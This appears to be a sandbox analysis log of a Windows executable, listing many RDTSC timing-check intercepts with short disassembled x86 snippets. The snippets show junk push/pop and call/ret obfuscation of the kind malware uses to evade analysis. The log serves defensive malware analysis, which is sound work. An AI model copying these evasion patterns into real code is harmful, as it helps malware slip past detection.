Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6CB941 second address: 6CB946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6EADB3 second address: 6EADBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6EB4C4 second address: 6EB4C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6EB764 second address: 6EB76A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6EBA62 second address: 6EBA97 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC4DCC8C6D0h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FC4DCC8C6D9h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6EBA97 second address: 6EBA9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6EBA9B second address: 6EBAA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6EBAA1 second address: 6EBAB9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 jc 00007FC4DCD0E316h 0x0000000c jmp 00007FC4DCD0E30Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6EBD5D second address: 6EBD76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 jnl 00007FC4DCC8C6D2h 0x0000000d jmp 00007FC4DCC8C6CAh 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6EBD76 second address: 6EBDA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FC4DCD0E306h 0x00000009 push edi 0x0000000a pop edi 0x0000000b jns 00007FC4DCD0E306h 0x00000011 popad 0x00000012 jmp 00007FC4DCD0E319h 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6EBDA9 second address: 6EBDAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6EBDAD second address: 6EBDB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6EBDB3 second address: 6EBDBE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jg 00007FC4DCC8C6C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6EC8AB second address: 6EC8B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6ECE2E second address: 6ECE6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC4DCC8C6CBh 0x00000009 popad 0x0000000a jmp 00007FC4DCC8C6D7h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 je 00007FC4DCC8C6C6h 0x00000019 jmp 00007FC4DCC8C6CEh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6ECE6D second address: 6ECE77 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC4DCD0E306h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6F0615 second address: 6F061B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6F061B second address: 6F061F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6F061F second address: 6F063A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC4DCC8C6D5h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6F063A second address: 6F0640 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6F47D2 second address: 6F47D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6F47D6 second address: 6F47E0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6F4925 second address: 6F4939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007FC4DCC8C6C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6F4939 second address: 6F493F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6F9371 second address: 6F9388 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6D1h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6F9388 second address: 6F938C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6F922F second address: 6F9246 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC4DCC8C6D2h 0x00000008 jmp 00007FC4DCC8C6CCh 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6F9246 second address: 6F924C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6F9A9A second address: 6F9A9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6F9E56 second address: 6F9E5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6F9FFB second address: 6FA001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6FA143 second address: 6FA167 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FC4DCD0E318h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6FA167 second address: 6FA16B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6FA25A second address: 6FA260 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6FA260 second address: 6FA26A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FC4DCC8C6C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6FA26A second address: 6FA27B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC4DCD0E306h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6FA87D second address: 6FA8DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c jmp 00007FC4DCC8C6D5h 0x00000011 pop esi 0x00000012 xchg eax, ebx 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007FC4DCC8C6C8h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d push eax 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FC4DCC8C6D3h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6FA8DC second address: 6FA8E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6FA9CA second address: 6FA9CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6FB3B6 second address: 6FB3BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6FB3BA second address: 6FB42C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jnc 00007FC4DCC8C6C6h 0x0000000d pop edx 0x0000000e popad 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007FC4DCC8C6C8h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov esi, dword ptr [ebp+122D1999h] 0x00000032 mov dword ptr [ebp+122D27DFh], edi 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ebx 0x0000003d call 00007FC4DCC8C6C8h 0x00000042 pop ebx 0x00000043 mov dword ptr [esp+04h], ebx 0x00000047 add dword ptr [esp+04h], 00000018h 0x0000004f inc ebx 0x00000050 push ebx 0x00000051 ret 0x00000052 pop ebx 0x00000053 ret 0x00000054 xor dword ptr [ebp+122D29D9h], ebx 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d jbe 00007FC4DCC8C6C8h 0x00000063 push edx 0x00000064 pop edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6FCDEC second address: 6FCDFD instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC4DCD0E306h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6FE82E second address: 6FE839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6FD5E1 second address: 6FD5E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6FE839 second address: 6FE83D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6FD5E5 second address: 6FD5EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6FD5EB second address: 6FD5F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6C09ED second address: 6C09F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6FEE6C second address: 6FEE70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 700373 second address: 7003FC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jc 00007FC4DCD0E306h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007FC4DCD0E308h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 sub dword ptr [ebp+122D1D29h], edi 0x0000002f mov dword ptr [ebp+1247AB99h], eax 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007FC4DCD0E308h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 00000018h 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 jmp 00007FC4DCD0E30Ah 0x00000056 push 00000000h 0x00000058 jmp 00007FC4DCD0E316h 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7024D9 second address: 7024DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7024DF second address: 7024E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 702596 second address: 70259C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 70259C second address: 7025A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 700C59 second address: 700C5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 702F89 second address: 702FAE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FC4DCD0E314h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007FC4DCD0E30Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 702FAE second address: 702FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 702FB2 second address: 702FB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 702FB8 second address: 702FBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 702FBC second address: 702FC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 702FC0 second address: 702FFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007FC4DCC8C6C8h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 mov edi, eax 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push esi 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 702FFA second address: 702FFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7084D7 second address: 7084FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007FC4DCC8C6D7h 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7084FE second address: 708503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 708503 second address: 70850D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FC4DCC8C6C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 70850D second address: 70857B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC4DCD0E306h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007FC4DCD0E308h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 mov dword ptr [ebp+12460B82h], edx 0x0000002d push 00000000h 0x0000002f jng 00007FC4DCD0E31Ah 0x00000035 jmp 00007FC4DCD0E314h 0x0000003a push 00000000h 0x0000003c mov dword ptr [ebp+122D2424h], eax 0x00000042 xchg eax, esi 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007FC4DCD0E313h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 70857B second address: 708585 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FC4DCC8C6C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 70950A second address: 70950F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7086CE second address: 7086DC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 70950F second address: 70953D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC4DCD0E30Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FC4DCD0E30Eh 0x00000013 je 00007FC4DCD0E30Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7086DC second address: 7086E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 70BB9A second address: 70BB9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 70CC0E second address: 70CC14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 70CC14 second address: 70CC4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCD0E315h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d jmp 00007FC4DCD0E319h 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 70CC4B second address: 70CC9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jng 00007FC4DCC8C6C6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007FC4DCC8C6C8h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d mov bh, 8Bh 0x0000002f xchg eax, esi 0x00000030 push eax 0x00000031 push edx 0x00000032 jno 00007FC4DCC8C6D8h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 70CC9A second address: 70CCA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FC4DCD0E306h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 70CCA4 second address: 70CCCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007FC4DCC8C6CCh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 70DD73 second address: 70DD8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCD0E311h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 70DD8F second address: 70DD9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 70DD9E second address: 70DE19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 ja 00007FC4DCD0E306h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d adc di, FB81h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007FC4DCD0E308h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e and bl, FFFFFFC6h 0x00000031 pushad 0x00000032 and dx, 27ABh 0x00000037 jmp 00007FC4DCD0E311h 0x0000003c popad 0x0000003d mov dword ptr [ebp+122D17D7h], edx 0x00000043 push 00000000h 0x00000045 push 00000000h 0x00000047 push ecx 0x00000048 call 00007FC4DCD0E308h 0x0000004d pop ecx 0x0000004e mov dword ptr [esp+04h], ecx 0x00000052 add dword ptr [esp+04h], 00000018h 0x0000005a inc ecx 0x0000005b push ecx 0x0000005c ret 0x0000005d pop ecx 0x0000005e ret 0x0000005f push eax 0x00000060 push ecx 0x00000061 push ebx 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 70FD05 second address: 70FD1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
